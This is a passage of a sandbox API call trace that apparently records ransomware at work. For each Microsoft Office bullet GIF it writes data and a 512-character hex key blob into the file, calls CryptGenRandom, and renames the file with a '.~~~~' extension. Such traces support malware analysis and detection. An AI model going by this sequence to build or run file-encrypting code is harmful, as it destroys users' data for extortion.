	[0127.571] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.571] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xc0, lpOverlapped=0x0) returned 1
	[0127.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.573] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.573] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.574] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.574] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.574] CloseHandle (hObject=0x144) returned 1
	[0127.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e69d0
	[0127.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif.~~~~")) returned 1
	[0127.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0127.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.576] GetLastError () returned 0x0
	[0127.576] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.578] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.578] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.578] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24756796155) returned 1
	[0127.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb57e6e90, dwHighDateTime=0x1d60e1e)) 
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ed8
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ed8 | out: hHeap=0x300000) returned 1
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6730
	[0127.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0127.579] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.579] GetLastError () returned 0x0
	[0127.579] GetLastError () returned 0x0
	[0127.579] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.579] GetLastError () returned 0x0
	[0127.579] GetLastError () returned 0x0
	[0127.581] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.581] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xbf, lpOverlapped=0x0) returned 1
	[0127.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.582] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.582] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.583] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.583] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.583] CloseHandle (hObject=0x144) returned 1
	[0127.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0127.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif.~~~~")) returned 1
	[0127.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0127.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.585] GetLastError () returned 0x0
	[0127.585] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.586] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.586] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24757656882) returned 1
	[0127.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb580cff0, dwHighDateTime=0x1d60e1e)) 
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6f10
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f10 | out: hHeap=0x300000) returned 1
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e65e0
	[0127.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0127.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.588] GetLastError () returned 0x0
	[0127.588] GetLastError () returned 0x0
	[0127.588] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.588] GetLastError () returned 0x0
	[0127.588] GetLastError () returned 0x0
	[0127.589] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.589] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xb8, lpOverlapped=0x0) returned 1
	[0127.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.591] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.591] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.591] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.591] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.591] CloseHandle (hObject=0x144) returned 1
	[0127.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e65e0
	[0127.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif.~~~~")) returned 1
	[0127.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0127.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.594] GetLastError () returned 0x0
	[0127.594] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.595] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.595] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24758563378) returned 1
	[0127.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb580cff0, dwHighDateTime=0x1d60e1e)) 
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f94a0
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94a0 | out: hHeap=0x300000) returned 1
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6a78
	[0127.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0127.596] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.597] GetLastError () returned 0x0
	[0127.597] GetLastError () returned 0x0
	[0127.597] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.597] GetLastError () returned 0x0
	[0127.597] GetLastError () returned 0x0
	[0127.598] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.598] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xb3, lpOverlapped=0x0) returned 1
	[0127.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.600] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.600] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.600] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.600] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.600] CloseHandle (hObject=0x144) returned 1
	[0127.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6a78
	[0127.601] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif.~~~~")) returned 1
	[0127.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0127.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.603] GetLastError () returned 0x0
	[0127.604] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.605] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.605] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.605] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24759552094) returned 1
	[0127.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5833150, dwHighDateTime=0x1d60e1e)) 
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9628
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9628 | out: hHeap=0x300000) returned 1
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6928
	[0127.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0127.606] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.606] GetLastError () returned 0x0
	[0127.607] GetLastError () returned 0x0
	[0127.607] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.607] GetLastError () returned 0x0
	[0127.607] GetLastError () returned 0x0
	[0127.608] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.608] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xb4, lpOverlapped=0x0) returned 1
	[0127.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.610] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.611] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.611] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.611] CloseHandle (hObject=0x144) returned 1
	[0127.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6928
	[0127.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif.~~~~")) returned 1
	[0127.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0127.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.613] GetLastError () returned 0x0
	[0127.614] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.615] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.615] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.615] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24760531204) returned 1
	[0127.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5833150, dwHighDateTime=0x1d60e1e)) 
	[0127.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9660
	[0127.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9660 | out: hHeap=0x300000) returned 1
	[0127.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0127.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
